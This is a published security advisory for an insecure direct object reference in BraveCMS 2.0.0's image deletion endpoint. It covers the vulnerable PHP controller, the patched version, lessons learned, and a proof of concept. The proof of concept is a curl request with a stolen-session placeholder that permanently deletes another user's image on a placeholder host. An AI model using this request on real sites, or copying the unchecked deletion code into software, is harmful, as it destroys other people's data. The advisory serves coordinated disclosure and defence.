Back to advisories
CVE-2026-35183 GHSA-cpf3-fxwg-cwr3 High CVSS 7.1

Insecure Direct Object Reference in Article Image Deletion

BraveCMS 2.0.0 contains an Insecure Direct Object Reference (IDOR) in the article image deletion endpoint. Any authenticated user with article-edit permissions can delete images attached to articles owned by other users by tampering with the filename and article ID in the URL.

Affected: BraveCMS 2.0 Vendor: BraveCMS Discovered: Reported: Apr 2, 2026 Patched: Apr 2, 2026 Reporter: Paraschivoiu Alexandru
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Details

BraveCMS's article image deletion endpoint accepts an article ID and a filename directly from the URL without verifying that the requesting user owns the target article or that the supplied filename matches the article's stored image record. Any authenticated user with article edit permissions can delete images attached to articles owned by other users by simply substituting a different article ID and filename in the request.


Summary

Field Value
CVE ID CVE-2026-35183
Advisory GHSA-cpf3-fxwg-cwr3
Severity High
CWE CWE-639 (Authorization Bypass Through User-Controlled Key)
Package BraveCMS (PHP)
Affected 2.0.0
Patched 2.0.6
Vulnerability IDOR in article image deletion endpoint
Impact Unauthorized permanent deletion of other users' article images

The deleteImage method in app/Http/Controllers/Dashboard/ArticleController.php processes a DELETE request that includes both the article ID and the target filename as URL parameters. Neither parameter is validated against the authenticated user's identity: there is no ownership check to confirm the article belongs to the requesting user, and there is no check to confirm the supplied filename matches the image actually stored on that article. The server accepts the request and permanently removes the file from disk.


How it works

The endpoint route accepts both parameters directly from the URL:

POST /dashboard/articles/delete-image/{articleId}/{fileName}

The controller locates the article by the supplied ID and deletes the file by the supplied name without verifying either belongs to the authenticated user:

// app/Http/Controllers/Dashboard/ArticleController.php
public function deleteImage($articleId, $fileName)
{
    $article = Article::findOrFail($articleId);

    // No ownership check: any authenticated user can reach this point
    // No filename validation: $fileName is not compared to $article->image

    $imagePath = public_path('images/articles/' . $fileName);

    if (file_exists($imagePath)) {
        unlink($imagePath);  // file permanently deleted
    }

    $article->image = null;
    $article->save();

    return response()->json(['success' => true]);
}

Because $articleId and $fileName are both attacker-controlled URL segments, any authenticated user can point the request at any article ID and any filename in the upload directory. The server responds with HTTP 200 OK and the file is gone.


Root Cause

The method performs authentication (the user must be logged in) but not authorization (the user's identity is never compared to the article's owner). This is the canonical IDOR pattern: a valid session is sufficient to perform any operation on any resource, as long as the caller knows or can guess the resource identifier. In this case both identifiers, the article ID (a sequential integer) and the filename (a predictable MD5-based string visible in published article HTML), are trivially discoverable by browsing the site.


Prerequisites

  • A valid BraveCMS account with at least Author privileges and access to the article edit interface.
  • Knowledge of the target article's ID and one of its image filenames. Both are visible in the HTML source of any published article page and require no special access to obtain.
  • No victim interaction is required.

Fix

Version 2.0.6 addresses this with three controls applied together in deleteImage:

// Fixed deleteImage method
public function deleteImage($articleId, $fileName)
{
    $article = Article::findOrFail($articleId);

    // 1. Ownership check: only the article's author or an admin may delete its images
    if ($article->user_id !== auth()->id() && !auth()->user()->isAdmin()) {
        abort(403, 'Unauthorized');
    }

    // 2. Filename validation: the supplied name must match the stored image record
    if ($article->image !== $fileName) {
        abort(422, 'Filename does not match article image');
    }

    // 3. Path traversal prevention: strip any directory components from the filename
    $safeFileName = basename($fileName);
    $imagePath = public_path('images/articles/' . $safeFileName);

    if (file_exists($imagePath)) {
        unlink($imagePath);
    }

    $article->image = null;
    $article->save();

    return response()->json(['success' => true]);
}

All three controls are necessary. The ownership check alone does not prevent an author from deleting their own article's image using a path-traversed filename. The filename validation alone does not prevent a user from deleting another user's image if they happen to know its name. basename() alone is defense in depth but does not address the authorization gap.


Key Takeaways

  • Authentication is not authorization. Confirming that a user is logged in does not confirm they are allowed to act on the requested resource. Every destructive operation must verify that the authenticated user owns or has explicit permission over the specific object being modified.
  • Sequential IDs and predictable filenames make IDOR trivially exploitable. BraveCMS article IDs are integers starting from 1, and image filenames are embedded in public HTML. An attacker needs nothing beyond a browser and a valid account to enumerate targets.
  • Filename validation against the database record is a necessary second layer. Even after fixing the ownership check, an attacker who owns article 5 could otherwise supply an arbitrary filename and delete files belonging to other articles. The stored image value is the ground truth and must be used to validate the request.
  • basename() is defense in depth, not a primary control. It prevents path traversal from escaping the upload directory, but it does not replace ownership or filename validation.

Proof of Concept

Proof of Concept Sanitized for safety
Note: This proof of concept is published for educational and defensive purposes after coordinated disclosure. Do not use it against systems you do not own or have explicit permission to test.

Browse to any published article on the site and view its HTML source. The article ID appears in edit and delete links in the dashboard, and the image filename is directly embedded in the <img> tag of the article body:

<img src="/images/articles/img_69c276f260ef03.17896370.png" alt="Article thumbnail">

Authenticate as any Author-level user and send a POST request to the delete-image endpoint, substituting the target article ID and filename:

curl -s -X POST \
  'https://target.example.com/dashboard/articles/delete-image/2/img_69c276f260ef03.17896370.png' \
  -b 'laravel_session=<attacker_session_cookie>' \
  -H 'X-CSRF-TOKEN: <csrf_token>'

The server responds with:

{"success": true}

The file no longer exists on the server filesystem:

ls /var/www/bravecms/public/images/articles/img_69c276f260ef03.17896370.png
# ls: cannot access '...img_69c276f260ef03.17896370.png': No such file or directory

The victim's article now renders with a broken image. The deletion is permanent and cannot be undone without a backup.

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →